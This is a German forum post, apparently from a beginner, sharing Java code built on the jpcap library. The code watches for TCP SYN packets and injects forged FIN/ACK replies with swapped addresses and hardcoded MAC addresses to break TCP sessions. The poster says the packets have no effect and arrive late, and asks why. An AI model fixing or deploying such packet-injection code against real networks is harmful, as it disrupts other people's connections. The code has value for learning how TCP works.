jpcap - kleiner tcp session zerstörer

Samidar

Grünschnabel
Hallo,

ich wollte mal zur übung ein programm schreiben, welches eine TCP Session unterbricht.

hier folgendes prog:


Code:
public void receivePacket(Packet packet) {
		
		if(packet instanceof TCPPacket)
		{
			TCPPacket tcp=(TCPPacket)packet;
			if(tcp.syn && !tcp.ack && !tcp.fin)
			{
				try {
					TCPPacket test=interrupt((TCPPacket)packet);
					send(test);

				} catch (Exception e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
		}
		
	}
	

	public static void send(Packet packet) throws Exception
	{
		NetworkInterface[] devices = JpcapCaptor.getDeviceList();
		JpcapSender sender = JpcapSender.openDevice(devices[0]);
		sender.sendPacket(packet);
		sender.close();
	}
	
	public static TCPPacket interrupt(TCPPacket packet) throws UnknownHostException
	{
//		create a TCP packet with specified port numbers, flags, and other parameters
		TCPPacket p=new TCPPacket(packet.dst_port,packet.src_port,56,packet.sequence+1,false,true,false,true,false,false,false,false,10,10);
//		specify IPv4 header parameters
		p.setIPv4Parameter(0,false,false,false,0,false,false,false,0,1010101,100,IPPacket.IPPROTO_TCP,
		  packet.dst_ip,packet.src_ip);
	
//		set the data field of the packet
		p.data=("ANGRIFF").getBytes();
		
		

//		create an Ethernet packet (frame)
		EthernetPacket ether=new EthernetPacket();
//		set frame type as IP
		ether.frametype=EthernetPacket.ETHERTYPE_IP;
//		set source and destination MAC addresses
		ether.dst_mac=new byte[]{(byte)0,(byte)19,(byte)141,(byte)225,(byte)23,(byte)32};
		ether.src_mac=new byte[]{(byte)0,(byte)4,(byte)14,(byte)116,(byte)246,(byte)147};

//		set the datalink frame of the packet p as ether
		p.datalink=ether;
		
		return p;
	}

es antwortet auf ein SYN (handshake 1. stufe) einfach ein FIN ACK

wenn ich meine packages durchschaue mit wireshark ( sniffer)

sieht das eigentlich auch ganz ordentlich aus (wenn ich einen closed port aufrufe sieht das antwort packet genau so aus wie mein erstelltes packet), nur dass meine Packete nichts bewirken, zudem treffen sie ziemlich verspätet ein!

woran kann das liegen?
 
Zurück